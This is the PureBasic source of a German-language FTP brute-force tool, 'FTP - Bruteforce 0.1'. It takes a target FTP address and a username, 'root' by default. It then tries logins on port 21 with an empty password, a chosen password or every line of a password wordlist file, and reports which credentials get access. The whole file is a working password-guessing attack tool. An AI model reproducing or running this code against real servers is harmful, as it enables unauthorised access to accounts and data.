FTP - Bruteforce 0.1

Quellcode (COPYRIGHT BY STEFFEN KREMER):

If Not InitNetwork()
  MessageRequester("Error","Can´t initialize Network!")
  End
EndIf

Procedure mainwindow(ftp.s)
  OpenWindow(0, 0, 0, 260, 280, "FTP Bruteforce 0.1", #PB_Window_SystemMenu)
  Frame3DGadget(0, 5, 5, 250, 115, "FTP - Name:")
  OptionGadget(1, 25, 30, 100, 15, "root benutzen")
  SetGadgetState(1, 1)
  OptionGadget(3, 25, 50, 70, 15, "eigenen:")
  OptionGadget(11, 25, 70, 50, 15, "Liste:")
  StringGadget(5, 95, 165, 150, 20, "password")
  StringGadget(7, 75, 190, 170, 20, "C:")
  ButtonGadget(8, 75, 215, 170, 15, "Ändern")
  ButtonGadget(9, 5, 240, 250, 35, "Starten:"+Chr(10)+ftp.s,#PB_Button_MultiLine)
  StringGadget(10, 95, 45, 150, 20, "root")
  OptionGadget(6, 25, 190, 50, 15, "Liste:")
  OptionGadget(15, 25, 150, 110, 15, "leeres benutzen")
  OptionGadget(4, 25, 170, 70, 15, "eigenes:")
  StringGadget(12, 75, 70, 170, 20, "C:")
  ButtonGadget(13, 75, 95, 170, 15, "Ändern")
  Frame3DGadget(14, 5, 120, 250, 115, "FTP - Passwort:")
  SetGadgetState(15, 1)

  DisableGadget(13,1)
  DisableGadget(12,1)
  DisableGadget(11,1)
EndProcedure

Procedure checkftp(user.s,password.s,port,ftp.s)
  If OpenFTP(0,ftp.s,user.s,password.s,#True,port) And IsFTP(0)
    CloseFTP(0)
    ProcedureReturn 1
  EndIf
EndProcedure

ftp.s = InputRequester("FTP - Bruteforce","FTP Adresse:","ftp.")
If ftp.s
  mainwindow(ftp.s)
Else
  End
EndIf

Repeat
  Event = WaitWindowEvent()

  If Event = #PB_Event_CloseWindow  ; If the user has pressed on the close button
    Quit = 1
  EndIf

  Select Event

  Case #PB_Event_Gadget
    Select EventGadget()
      Case 8
        SetGadgetText(7,OpenFileRequester("Passwort Datei auswählen:",GetGadgetText(7),"",0))

      Case 13
        SetGadgetText(12,OpenFileRequester("Passwort Datei auswählen:",GetGadgetText(12),"",0))

      Case 9
        If GetGadgetState(1)
          modeu = 1
          user.s = "root"
        EndIf
        If GetGadgetState(3)
          modeu = 2
          user.s = GetGadgetText(10)
        EndIf
        If GetGadgetState(11)
          modeu = 3
          listeu.s = GetGadgetText(12)
        EndIf
        If GetGadgetState(15)
          modep = 1
          passwort.s = " "
        EndIf
        If GetGadgetState(4)
          modep = 2
          passwort.s = GetGadgetText(5)
        EndIf
        If GetGadgetState(6)
          modep = 3
          listep.s = GetGadgetText(7)
        EndIf
        quit = 1
        CloseWindow(0)

    EndSelect

  EndSelect

Until Quit = 1
quit = 0
OpenConsole("FTP - Bruteforce")
ConsoleColor(15,0)
PrintN("FTP - Bruteforce")
PrintN("Build: "+#pb_editor_buildcount)
PrintN("Copyright by R3booz")
PrintN("FTP Adresse: "+ftp.s)
If user.s <> ""
  PrintN("Benutzername: "+user.s)
Else
  PrintN("Benutzername: "+listeu.s)
EndIf
If passwort.s <> ""
  PrintN("Passwort: "+passwort.s)
Else
  PrintN("Passwort: "+listep.s)
EndIf
PrintN("Port: 21")
PrintN("")
PrintN("Starte Bruteforce Attacke:")
If Not OpenFile(0,listep.s) And  modep = 3
  End
EndIf
;openfile(1,listeu.s)
Repeat
  If modeu = 3
    End
  Else
    UserName.s = user.s
  EndIf
  If modep = 3
    password.s = ReadString(0)
    If password.s = ""
      quit = 1
    EndIf
  Else
    password.s = passwort.s
  EndIf
  If quit = 0
  If Not checkftp(username.s,password.s,21,ftp.s)
    ConsoleColor(12,0)
    PrintN("("+Str(count+1)+") Kein Zugriff - User: "+username.s+" Passwort: "+password.s)
    count + 1
    If modep <> 3
      quit = 1
      PrintN("Fertig")
      Beep_(1000,750)
    EndIf
  Else
    ConsoleColor(10,0)
    PrintN("("+Str(count+1)+") Zugriff - User: "+user.s+" Passwort: "+password.s+" Port: 21")
    PrintN("Fertig")
    Beep_(1000,250)
    Beep_(1500,250)
    Beep_(2000,250)
    quit = 1
  EndIf
  EndIf
Until quit = 1
ConsoleColor(15,0)
PrintN("Es wurden "+Str(count+1)+" Passw"+Chr(214)+"rter versucht.")
PrintN("Enter dr"+Chr(220)+"cken zum beenden...")
Input()
End